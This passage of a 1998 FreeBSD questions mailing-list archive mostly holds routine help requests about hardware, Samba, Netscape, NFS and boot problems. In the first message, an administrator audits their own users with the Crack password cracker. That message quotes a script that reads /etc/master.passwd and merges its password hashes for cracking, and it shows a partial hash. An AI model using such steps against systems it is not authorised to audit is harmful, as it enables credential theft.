(PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dove.peace.com.my (peace.com.my [202.184.153.15]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA23695 for ; Wed, 8 Apr 1998 08:45:42 -0700 (PDT) (envelope-from panda@peace.com.my) Received: from lovebox (love.com.my [202.184.153.17]) by dove.peace.com.my (8.8.5/8.8.5) with SMTP id XAA13673 for ; Wed, 8 Apr 1998 23:28:39 +0800 (SGT) Date: Wed, 8 Apr 1998 23:28:39 +0800 (SGT) Message-Id: <3.0.32.19980408235052.0117f9e8@peace.com.my> X-Sender: panda@peace.com.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: questions@FreeBSD.ORG From: chas Subject: Crack on FBSD - how to make it more thorough ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I installed Crack-5.0 using the package (not the port) and it seems to function, but I'm not sure it's working properly. I changed the shadmrg script to merge the /etc/passwd and /etc/master.passwd and ran Crack on the output. Crack was finished in less than 10 seconds. OK, so I only have 100 users on this system but I thought that this would be still quite an intensive task to run. Before this, I'd added a 'dummy' userid with passwd "HELLO" so that I could check that crack was actually doing something but strangely, Crack didn't find that (and I wouldn't have thought "HELLO" was a particularly intelligent passwd). Fortunately, Crack did discover 2 users with ridiculously easy passwds (since corrected). so I knew it was doing something. Looking at conf/dictrun.conf, I see that nearly all the rules were employed. Should it really have run so fast ? the Reporter also showed the following errors for all user : E:0:bad format: output.txt: username:$1$NTG2CU1tFICN2VX20:1029:1006:U ser &:/home/username:/bin/sh I was running Crack on a file output.txt, which was the output of running scripts/shadmrg.fbsd, based on the supplied shadmrg.sv : SHADOW=/etc/master.passwd PASSWD=/etc/passwd ( sed -e 's/^/STAG:/' < $SHADOW sed -e 's/^/PTAG:/' < $PASSWD ) | awk -F: ' BEGIN { OFS=":"; $1 == "STAG" { pw[$2] = $3; next; } $1 == "PTAG"{ $3 = pw[$2]; print $0; }' | I'm afraid I'm not an awk guy so if I just swapped the variable names at the top. Anyway, if there are any other changes that need to be done to get crack to work perform a more thorough check on FBSD ? chas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:51:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA24751 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:51:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA24698 for ; Wed, 8 Apr 1998 08:50:28 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node26.mpc.com.br [200.246.0.26]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id MAA15905 for ; Wed, 8 Apr 1998 12:50:18 -0300 (EST) Message-Id: <3.0.32.19980409004312.00cadd60@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 00:45:17 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Re: Pentium MB [off-topic] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well, some more news about this problem: I connected a network card in the system (PCI, ne2000-like) and it worked fine. I can't tell about the performance, but it surely runs ! It is detected and I can telnet, su, run ppp, etc. Amazing ! But the video card(s) won't work. I connected it with AND the network card, connected it w/o the network card, but no change to symptoms. The problems seems to be getting a little bit more defined, yet, far from a sollution. Any hints ? (Except for the RMA, heheh) note: Video cards: Brandless S3/VirgeDX adn Diamond Edge 3d 4MB. Thanks ! At 11:02 PM 4/8/98 -0300, Capriotti wrote: >Hello all. > >Sorry to post this here, but it's my best shot. > >In my hands I have a Pentium MB, whose PCI slots are not working at all. > >The original owner probably pulled the video card while the system was >energized. > >The disk controller - embeded IDE, which I believe to be PCI - is working >fine, the system runs smooth with ISA cards, but when one plugs a PCI Video >card, no video signal is generated. > >FreeBSD runs fine also, and so does WInblows. > >Question: Does anyone knows, by chance what could possibly be change to fix >this problem ? (I feel confortable when dealing with soldering iron and >stuff like that, though I don't have an osciloscope, in case it is needed.) > >Additional info: > >Intel chipset. >1996 MB w/ 1993 BIOS (AMIBIOS AA0559458) >Manufacturer ????? >model 5DXP version 3.x >on board cache (256K I guess) >runnning Pentium chip at 150MHz > >Any other info I can give you ? >TIA. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:53:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA25252 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:53:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA25228; Wed, 8 Apr 1998 08:52:58 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id LAA20356; Wed, 8 Apr 1998 11:57:27 -0400 (EDT) Date: Wed, 8 Apr 1998 11:57:26 -0400 (EDT) From: "Stephen A. Derdau" To: Evren Yurtesen cc: freebsd-fs@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: !!! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had this problem when I rebuilt 2.2.6 from 2.2.25 2.2.6 changes the name of the slice to it's truc slice name I assume you also upgraded.... AnYWAY YOU MAY Also want to wait for someone elses reply since I AM A NEWBIE TO ALL OF THIS. It worked for me though ok boot old kernel.old cd /etc vi fstab change /dev/wd0a to /dev/wd0s2a however you want to check to see if such a device exists. cd /etc sh MAKEDEV wd0s2a then when you reboot you should be able to mount / I'll cc you some info I sent yesterday regarding this ******* ******* AGAIN I AM NOT AN EXPERT AND STILL LEARNING ***** Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" On Wed, 8 Apr 1998, Evren Yurtesen wrote: > well I rebooted my system and it says to me > > /dev/wd0a on /: Specified device does not match mounted device. > Filesystem mount, failed startup aborted > > what should I do??? > > PS. well my server is not working right now...this is a kind of serious > problem for me. > > Evren Yurtesen > ISPRO A.S. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:55:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA26344 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:55:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA26274 for ; Wed, 8 Apr 1998 08:55:17 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node26.mpc.com.br [200.246.0.26]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id MAA16072; Wed, 8 Apr 1998 12:54:56 -0300 (EST) Message-Id: <3.0.32.19980409004943.0092a600@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 00:49:56 -0300 To: Paul Southworth , freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Re: Want motherboard recommendation Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Have you heard of Asustek ? Or just Asus, I'm not sure. Theyr are well known here as being VERY stable. At 11:18 AM 4/8/98 -0400, Paul Southworth wrote: > >I need a reliable motherboard for a FreeBSD 2.2.6 system. Thinking of >perhaps the Tyan 1680S single P-II board (440FX) or perhaps the Mustang >M628 (440LX). > >Given my recent Iwill motherboard flop (kern/6201) I am hoping that >someone can recommend a motherboard that is well supported. > >Price is basically irrelevant, and reliability is more important that >performance. Can be either AT or ATX. Won't be using any of the on-board >I/O other than floppy and one serial port (console). > >--Paul > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:02:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA27196 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:02:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.inw.net (ns.inw.net [206.28.240.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA27152 for ; Wed, 8 Apr 1998 09:01:57 -0700 (PDT) (envelope-from mcneills@inw.net) Received: from mcneills (ke2ppp19.inw.net [207.2.107.60]) by ns.inw.net (8.8.6/8.8.6) with SMTP id LAA07749 for ; Wed, 8 Apr 1998 11:01:48 -0500 (CDT) Received: by mcneills (VPOP3 - Unregistered) with SMTP; Wed, 8 Apr 1998 11:02:56 -0500 Message-ID: <019a01bd6307$b9a28a40$0200a8c0@Dell> Reply-To: "Dennis Reiter" From: "Dennis Reiter" To: Subject: Re: Proxy software, etc. Date: Wed, 8 Apr 1998 11:02:25 -0500 MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.2038.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.2039.0 X-Server: VPOP3 V1.2.5 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I wouldn't really consider $250 for the 5-user Pro version that outrageous in the Windows world, this is what we use at work. Take a look at MS Proxy!! Anyways, use natd, it'll blow Wingate away. Regards, Denny Reiter denny@kewanee.net ICQ # 823496 "Remember: Wherever you go; There you are." -----Original Message----- From: Jeffrey Lynn Jeffries To: freebsd-questions@FreeBSD.ORG Date: Wednesday, April 08, 1998 2:52 AM Subject: Proxy software, etc. >I am looking for some software to help me with the following: > >I have a small network of a handful of PC's in my apartment. I have three >Win95 boxes and two FreeBSD boxes. I would like for all of these machine >to be able to browse the internet, do ftp, pop/imap mail, etc. Also I >would like to be able to ftp or telnet into the FreeBSD boxes from a >remote site. Right now I am using a test version of Wingate; it does all >I need it to do, however the cost for it is outrageous, and OSR2 does not >meet the stability of FreeBSD. I want to be able to have the same setup >as I do know (internal browsing, FTP and telnet to the outside, and the >same from the oustide in) off of my ISDN. Which program(s) am I looking >for? I've heard some about natd, squid, and ipfw (along with pppd of >course), but I'm unclear whether any/all of these will accomplish the same >thing as I have now. Any help is greatly appreciated. > >========================================================================== > Jeffrey Lynn Jeffries, jeffries@unt.edu > > http://www.cs.unt.edu/~jeffries > > Proud user of FreeBSD: Ask me how to unleash the daemon inside your PC > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:14:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA29815 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:14:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from swrinde.nde.swri.edu (swrinde.nde.swri.edu [129.162.170.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA29798 for ; Wed, 8 Apr 1998 09:14:27 -0700 (PDT) (envelope-from djones@swri.edu) Received: from fred (fred.nde.swri.edu [129.162.176.13]) by swrinde.nde.swri.edu (8.8.8/8.8.5) with SMTP id LAA29793 for ; Wed, 8 Apr 1998 11:14:19 -0500 (CDT) Message-ID: <352BA25A.457@swri.edu> Date: Wed, 08 Apr 1998 11:14:18 -0500 From: David Lee Jones Reply-To: djones@swri.edu Organization: SwRI X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Netscape hanging up system....help ! Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Recently installed FreeBSD on a 75Mhz pentium that has 64 megabytes of memory. Video card has a Cirrus Logic 5446 chipset and using Xfree86 for the Xserver. Boy it works great. Used FTP for the install media and it went very well. The Unix people here are very impressed with it as well as I. Everything is working great except for Netscape...have installed Navigator 3.04, then Navigator 4.05, and now Communicator 4.05. They will all three hang up the system sooner or later. Could you give me some suggestions as to what I could try to fix it, or where to go look for help. Thanks, David Lee Jones To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:19:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA01015 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:19:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from freenet.msp.mn.us (root@freenet.msp.mn.us [206.8.96.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA01010 for ; Wed, 8 Apr 1998 09:19:21 -0700 (PDT) (envelope-from alberti@freenet.msp.mn.us) Received: from aerie (dev249.born.com [204.73.78.249]) by freenet.msp.mn.us (8.8.8/8.6.10) with SMTP id QAA20202 for ; Wed, 8 Apr 1998 16:19:05 GMT Message-Id: <3.0.32.19980408111733.00956920@freenet.msp.mn.us> X-Sender: alberti@freenet.msp.mn.us X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 11:18:09 -0500 To: questions@FreeBSD.ORG From: Bob Alberti Subject: FreeBSD Sun Floppy? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! I recently came into an old SparcClassic. I'd like to install FreeBSD on it. Is there any way to build a floppy image to start the process, particularly if one must use a PC to build the floppy? The machine itself has a blank 300 MB hard drive and no CD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:23:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA02420 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:23:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gwdu60.gwdg.de (gwdu60.gwdg.de [134.76.10.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA02261; Wed, 8 Apr 1998 09:22:35 -0700 (PDT) (envelope-from kheuer@gwdu60.gwdg.de) Received: from localhost (kheuer@localhost) by gwdu60.gwdg.de (8.8.5/8.8.5) with SMTP id SAA02720; Wed, 8 Apr 1998 18:22:25 +0200 (CEST) Date: Wed, 8 Apr 1998 18:22:24 +0200 (CEST) From: Konrad Heuer To: freebsd-hackers@FreeBSD.ORG cc: freebsd-questions@FreeBSD.ORG Subject: Mysterious Extended DOS Partition Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm not sure whether this is the mailing list of choice to tell about the problem I observed - but might be! On a PC with 4 primary partitions (NTFS-OS/2 Boot Manager-FAT-FreeBSD) I wanted to remove NT and to change its partition to an extended DOS one (shame on me not to create a FreeBSD partition). I used FreeBSD's fdisk to change the partition id to 5. What happened? After rebooting Win 95 seemed to hang but after a couple of time it detected more then 26 logical DOS drives in that partition although DOS' fdisk couldn't detect anyone. It was impossible to delete or use this partition with DOS/W95. Trying to boot FreeBSD (2.2.2 & 2.2.5-R) even from a floppy gave no help. The kernel detected more than 32 slices within the extended partition and died without mercy after scanning the hardware. Of course I know now(!) that an extended DOS partition contains information about logical drives which FreeBSD's fdisk doesn't generate. But may be it would be possible to make the kernel accept more than 32 logical drives - I only wanted to delete the partition entry I made with FreeBSD !!! Shame on me once again: To repair the mysterious partition I booted Linux which was successful and I deleted the partition with the Linux fdisk. Konrad Heuer, GWEDG, Goettingen, Germany (kheuer@gwdu60.gwdg.de) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:28:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA04274 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:28:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: (from jmb@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA04262 for faq@freebsd.org; Wed, 8 Apr 1998 09:28:44 -0700 (PDT) (envelope-from jmb) Date: Wed, 8 Apr 1998 09:28:44 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199804081628.JAA04262@hub.freebsd.org> To: faq@FreeBSD.ORG Subject: test faq@freebsd.org Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG reported not working To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:35:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA05700 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:35:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gw1.asacomputers.com (root@gw1.asacomputers.com [204.69.220.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05573; Wed, 8 Apr 1998 09:35:35 -0700 (PDT) (envelope-from kedar@asacomputers.com) Received: by gw1.asacomputers.com id JAA01071; Wed, 8 Apr 1998 09:36:28 -0700 (PDT) Message-Id: <2.2.32.19980408163224.009966b8@gw1> X-Sender: rajadnya@gw1 X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 08 Apr 1998 09:32:24 -0700 To: Amancio Hasty From: Kedar Rajadnya Subject: Re: BrookTree 848 causing my screen to get messed up, how to fix? Cc: FreeBSD Questions , FreeBSD Hardware , multimedia@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, We are having a sub-set of the problem with the 440FX chipset. We are using the Hauppauge WincastTV. It sometimes decides it is PAL. I've been trying to find out why we received a PAL card in the U.S. I'm guessing we have the right cards and are experiencing what Mr. Burr is? On the current issue, maybe the VGA is not one of the BT848 'compatible' ones? Thanks, Kedar. At 02:45 PM 4/7/98 -0700, you wrote: >It is probably the VIA chipset . Perhaps the group can enlightenment me >by letting me know if anyone else with a Natoma or Triton PCI chipset >is having similar problems. > Cheers, > Amancio > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hardware" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:42:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07406 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:42:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from claven.ds.adp.com ([206.242.82.200]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA07391 for ; Wed, 8 Apr 1998 09:42:31 -0700 (PDT) (envelope-from lahrg@atlanta.ds.adp.com) Received: from steve.hoffman.ds.adp.com by claven.ds.adp.com (SMI-8.6/SMI-SVR4) id LAA20897; Wed, 8 Apr 1998 11:38:16 -0500 Received: from atlanta.ds.adp.com by steve.hoffman.ds.adp.com (SMI-8.6/SMI-SVR4) id LAA18437; Wed, 8 Apr 1998 11:30:49 -0500 Received: from lahrg (lahrg.atlanta.ds.adp.com [139.126.84.123]) by atlanta.ds.adp.com (8.8.7/8.6.12) with SMTP id QAA17729 for ; Wed, 8 Apr 1998 16:40:34 GMT From: "Gary Lahr" To: Subject: Samba Date: Wed, 8 Apr 1998 12:42:05 -0400 Message-ID: <01bd630d$43a7b170$7b547e8b@lahrg.atlanta.ds.adp.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to setup samba on version 2.2.5 of BSD. I loaded the software from the ports collection and I am having a difficult time getting it to work. My config file is very small: [homes] comment = Home Directories browseable = yes writable = yes read only = no create mode = 0750 but I cannot connect to the share from NT. I am trying to map a drive to \\develbsd\gary. develbsd is the DNS name for the system and gary is a valid account. Does anyone know what I am doing wrong? When I map to the drive I get the username password prompt but the name and password don't match according to the message I get. I assure you I'm using the correct password for the gary account. I can use the smbclient to map to an NT share so it looks like the service is working ok. any help would be great...thanks -- Have a great day... -- Gary Lahr (Regional Operations) - lahrg@atlanta.ds.adp.com ADP Inc. - 6190 Powers Ferry Rd. STE 300 - Atlanta, Ga. 30339-2917 770.955.6080 Ext: 2147- Fax: 770.955.0587 - Pager: 770.764.9653 Web Page: http://webserver.atlanta.ds.adp.com/lahrg/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:52:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09010 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:52:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dot.crosswinds.net (dot.crosswinds.net [209.47.139.147]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA08992 for ; Wed, 8 Apr 1998 09:52:18 -0700 (PDT) (envelope-from Genius@glasgow.crosswinds.net) Received: from metallica ([194.74.241.104]) by dot.crosswinds.net (8.8.7/8.8.8) with SMTP id MAA21568 for ; Wed, 8 Apr 1998 12:51:52 -0400 (EDT) (envelope-from Genius@glasgow.crosswinds.net) Message-ID: <000001bd630e$8beb7d80$68f14ac2@metallica> From: "Ian O'Friel" To: Subject: FreeBSD Handbook Date: Wed, 8 Apr 1998 17:47:10 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD6316.5B727520" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD6316.5B727520 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable After reading a Guide for Beginners learning UNIX, it told me to read = the Handbook, I have only 1 CD therefore I don't have the "Live" CD. I was told that the Handbook was on the CD or else I could get it at www.freebsd.org/handbook/handbook.html=20 I have visited the page but rather than view all these pages=20 I would rather try and find the handbook on CD.=20 Can someone tell me if it is possible to view these through Windows 95,=20 and if not what commands would I use to view it in FreeBSD ?? Thanx Ian ------=_NextPart_000_0004_01BD6316.5B727520 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
After reading a Guide for = Beginners=20 learning UNIX, it told me to read the Handbook,
I have only 1 CD therefore I = don't have=20 the "Live" CD.
I was told that the Handbook = was on the CD=20 or else I could get it at
www.freebsd.org/ha= ndbook/handbook.html=20
I have visited the page but = rather than=20 view all these pages
I would rather try and find = the handbook=20 on CD.
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and if not what commands would = I use to=20 view it in FreeBSD ??
 
Thanx
Ian
------=_NextPart_000_0004_01BD6316.5B727520-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:54:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09945 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:54:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dfw-ix2.ix.netcom.com (dfw-ix2.ix.netcom.com [206.214.98.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA09908 for ; Wed, 8 Apr 1998 09:54:36 -0700 (PDT) (envelope-from mbaker@inter-sight.com) Received: (from smap@localhost) by dfw-ix2.ix.netcom.com (8.8.4/8.8.4) id LAA10176 for ; Wed, 8 Apr 1998 11:53:57 -0500 (CDT) Received: from unknown(209.80.9.110) by dfw-ix2.ix.netcom.com via smap (V1.3) id rma009745; Wed Apr 8 11:50:11 1998 Message-ID: <352BAAA3.67AC27C8@inter-sight.com> Date: Wed, 08 Apr 1998 09:49:39 -0700 From: Michael Baker Organization: InterSight Designs X-Mailer: Mozilla 4.03 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Stupid Question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry to ask this, but I have spent hours on your site looking for the answer already so here goes. I have never used unix. I have a machine that I want to load FreeBSD on to learn. What do I need to download? The entire FREEBSD directory? Eventually, we want to use this box as a web server. Thanks, -- Michael Baker InterSight Designs "Connecting The World, One Business At A Time" mbaker@inter-sight.com http://www.inter-sight.com - http://www.directmovies.com "Your Premier On-Line Source for DVD Entertainment" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 09:58:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA11321 for freebsd-questions-outgoing; Wed, 8 Apr 1998 09:58:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.pacificnet.com.mx (mail.pacificnet.com.mx [167.114.23.249]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA11279 for ; Wed, 8 Apr 1998 09:58:42 -0700 (PDT) (envelope-from abehar@mail.pacificnet.com.mx) Received: from localhost (abehar@localhost) by mail.pacificnet.com.mx (8.8.5/8.7.3) with SMTP id LAA01715 for ; Wed, 8 Apr 1998 11:01:38 -0600 (MDT) Date: Wed, 8 Apr 1998 11:01:38 -0600 (MDT) From: Angel Behar Rodriguez To: freebsd-questions@FreeBSD.ORG Subject: apache and SSL Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Im running apache 1.2.5 under a 2.1.7 FreeBSD box. I just want to know if any of you know if I can get the SSL patch and where. I try to find it in www.apache.org but I can not. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:05:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12291 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:05:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from helmholtz.salk.edu (helmholtz.salk.edu [198.202.70.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA12257 for ; Wed, 8 Apr 1998 10:04:50 -0700 (PDT) (envelope-from bartol@salk.edu) Received: from cole.salk.edu (cole [198.202.70.113]) by helmholtz.salk.edu (8.7.5/8.7.3) with SMTP id KAA20847; Wed, 8 Apr 1998 10:04:45 -0700 (PDT) Date: Wed, 8 Apr 1998 10:04:42 -0700 (PDT) From: Tom Bartol To: stephen farrell cc: questions@FreeBSD.ORG Subject: Re: NFS hanging in 2.2.6-RELEASE In-Reply-To: <87zphx12wh.fsf@phaedrus.uchicago.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 7 Apr 1998, stephen farrell wrote: > Tom Bartol writes: > > > I've got a new ThinkPad 770 with a 3Com 3C589D installed and running > > 2.2.6-RELEASE. The installation was totally painless (thanks to all of > > you!). It's on the net and I can telnet and ftp without a hitch but I've > > run into a problem with NFS. I can mount disks served by our NFS servers > > (either Auspex or FreeBSD running -current) but when I try to copy files > > from the laptop to the servers it'll copy a few megabytes and then all > > network traffic stops completely and the machine is not pingable. I > > cannot Ctrl-C out 